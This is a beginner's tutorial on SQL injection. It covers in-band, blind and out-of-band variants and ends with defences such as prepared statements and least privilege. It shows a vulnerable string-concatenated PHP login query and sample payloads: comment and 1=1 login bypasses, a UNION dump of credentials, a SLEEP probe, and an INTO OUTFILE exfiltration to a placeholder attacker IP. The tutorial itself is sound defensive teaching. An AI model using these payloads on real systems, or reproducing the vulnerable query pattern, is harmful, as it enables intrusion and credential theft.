Beginner's Guide: Understanding SQL Injections

SQL injection (SQLi), is an attack on a web application by compromising its database through malicious SQL statements. As it's a common attack, let's examine what it is, how it happens, and how to defend yourself from it.

Beginner's Guide: Understanding SQL Injections

Structured Query Language (SQL) is a language that allows for interaction with databases. Many modern web applications use databases to manage data and display dynamic content to users.

SQL injection (SQLi), is an attack on a web application by compromising its database through malicious SQL statements. As it's a common attack, let's examine what it is, how it happens, and how to defend yourself from it.

What is SQL Injection?

SQL injection is a type of attack on a web application that allows an attacker to enter malicious SQL statements into the web application. By injecting malicious SQL statements, an attacker could potentially gain access, modify, and destroy sensitive data in the database.

Jeff Forristal first discovered SQL injection in 1998. In the two decades since discovery, SQL injection attacks are prevalent even today. The severity of injection attacks in web applications are recognized widely and has consistently been the top priority of web developers when developing web applications.

SQL injection is also one of the top ten most critical web application security risks according to the Open Web Application Security Project (OWASP).

How Does the SQL Injection Vulnerability Work?

An SQLi vulnerability can give an attacker complete access to your application's database through the use of malicious SQL statements. Let's examine an example of how a vulnerable application works.

Imagine the workflow of a regular web application that involves database requests through user inputs. You accept the user input through a form, a login form, for example. You then query the application database with the fields submitted by the user to validate their identity. The structure of the SQL query to your database looks something like this:

SELECT * FROM users 
WHERE username = 'johnbrown' AND password = 'johnpassword';

To make things simple, let's assume you are storing passwords in plaintext, which is a terrible idea. When storing passwords in a database, it is recommended to use a salt and hash, but I digress. So, if you accepted the username and password from the form, you may define the query in PHP as:

// Connects to SQL database

$db_query = "SELECT * FROM users 
WHERE username = '".$user."' AND password = '".$password."';";

// Executes query

If the user enters the value "admin';--" in the username field, and "blahblahblah" in the password field, the resulting SQL query that the variable $db_query generates will be:

SELECT * FROM users WHERE username = 'admin';--' AND password = 'blahblahblah';

What does this query do? In SQL, a comment starts with double dashes (–). By adding a comment after the username, the query filters only by the username without considering the password. If there were no security measures to avoid this, you would be granted administrative access to the web application just by using this method.

Alternately, a boolean attack (which we'll discuss later) is also an option in this example to gain access. If an attacker enters "blahblahblah' or 1=1;--" in the password field, the resulting query would be as:

SELECT * from users WHERE username = 'admin' AND password = 'blahblahblah' or 1=1;--';

In this instance, though the password is wrong, an attacker would be authenticated as an administrator into the application. In another example, let's say your web page displays the results of the database query. An attacker can use different SQL commands to display the tables and their contents in the database, or selectively drop tables if they so wish.

Types of SQL Injection Attacks

Now that you are aware of the basics of a SQL injection attack let's explore some of the different SQL injection types.

In-Band SQL Injection

In-Band SQL injection is the most simplistic form of SQL injection. In this process, the attacker can use the same channel to insert the malicious SQL code into the application and gather the results. Two types of in-band SQL injections are:

Error-Based Injection Attack

An attacker uses the error-based SQL injection technique during the initial phases of their attack. The concept behind an error based SQL injection is to get additional information about the database structure that the web application follows. For example, an error message may contain the table name included in the table's query and column names. An attacker could leverage that data in further attacks.

Union-Based Injection Attack

An attacker using the SQL UNION statement can display the results from a different table. For example:

SELECT link, title FROM posts
WHERE id < 10 UNION SELECT username, password FROM users;--;

Inferential SQL Injection Attacks (Blind SQL Injection)

Even if an attacker generates an error in the SQL query, the query's response might not be displayed directly to the web page. In such a case, the attacker needs to penetrate further.

In this SQL injection method, the attacker sends numerous queries to the database to assess how it interprets them. An inferential SQL injection is sometimes referred to as blind SQL injection. Two types of Inferential SQL Injections are:

Boolean Injection Attack

Suppose an SQL query results in an error that was not handled properly. In such a case, the resulting web page may display an error, load partially, or load a blank page.

In a boolean SQL injection, the attacker assesses which parts of a user's input are vulnerable by trying two different variants of a boolean clause:

  • "… OR 1=1"
  • "… AND 1=2"

Suppose the application works as it should in the first case but shows an anomaly in the second case. In that case, it indicates that the application is vulnerable to boolean-based SQL injection attacks.

Time-Based Injection Attack

A time-based SQL injection attack can also help an attacker assess if a web application is vulnerable to SQL injection. With this method, an attacker uses a pre-defined time-based function of the application's database management system. For example, in MySQL, the SLEEP() function tells the database to wait for a certain number of seconds.

SELECT * FROM user_comments WHERE post_id=1-SLEEP(15);

If the results of such query delays, the attacker would know that the application is vulnerable to time-based SQL injection attacks.

Out-of-Band SQL Injection

Suppose an attacker is unable to gather the results of a SQL injection through the same channel. Out-of-band SQL injection techniques are alternatives to inferential or blind SQL injection attack techniques.

Usually, these techniques involve sending data from the target application database to an attacker's remote location. This process, however, is highly dependent on the capabilities of the target database management system.

An out-of-band SQL injection attack makes use of an external file process capability with your database management system. In MySQL for example, the LOAD_FILE() and INTO OUTFILE functions can instruct MySQL to transmit the data to an external source. Below is an example of how an attacker might use OUTFILE to send the results of a query to an external source:

SELECT* FROM users 
INTO OUTFILE '\\\\MALICIOUS_IP_ADDRESS\location'

Similarly, LOAD_FILE() may be used to read a file from the server and display its contents. Suppose an attacker combines the LOAD_FILE() and OUTFILE functions. In that case, it is possible to read the contents of a file on the target server and then forward it to a remote location.

How to Prevent SQL Injections

As we now know, an attacker can use an SQL injection vulnerability to access, read, modify, or even destroy your database's contents.

Additionally, such a vulnerability could enable an attacker to read a file on any location within the target server and transfer the contents elsewhere. Let's now explore various techniques to protect your web application and website against SQL injection attacks.

Never Trust Input

The most important aspect of preventing SQL injections can be summed up in a single sentence: Always assume all input to be malicious. By all input, I mean any information from outside your application that the application itself did not generate.

So, don't trust data from third-party systems or plugins your application imports. Also, any data provided by the user, such as form fields, URL parameters, or user-provided files, should always be automatically distrusted. Data from APIs your app consumes also go on that list. These examples are far from exhaustive, but the same rule applies. Always consider input as malicious by default. Verify it first, and only when you deem it safe should you proceed.

Use Prepared Statements

A prepared statement is a template of an SQL query, where you specify parameters at a later stage to execute it. Here is an example of a prepared statement in PHP and MySQL.

$query = $mysql_connection->prepare("SELECT * FROM users WHERE username = ? AND password = ?");

$query->execute(array($username, $password));

Execute with the Least Privilege Possible

This tip is different from the previous ones. Here, we'll leave the realm of programming languages for a bit and instead, venture into the database.

This tip is less about avoiding SQL injections and more about mitigating their effects, should they happen.

The idea itself is straightforward: In areas where you're just reading data, don't use connection strings in which the user has writing privileges. That way, even if an attacker manages to inject a malicious query, they won't be able to insert, change, or delete any data.

There are many more ways to prevent SQL injection attacks that this article did not go into (using Web Application Firewalls, and store procedures) but fret not. More information on how to prevent SQL injection attacks is simply a Google search away.

Resources

  1. SQL injection lab - Login Bypass
  2. SQL Map is an open-source tool that automates the process of detecting and exploiting SQL injection vulnerabilities
  3. Atlas is an open-source tool that can suggest SQLMAP tampers to bypass WAF/IDS/IPS.
  4. This repository has some cool resources on SQL Injection. It includes some cheat sheets and many useful payloads that can be used depending on the use case.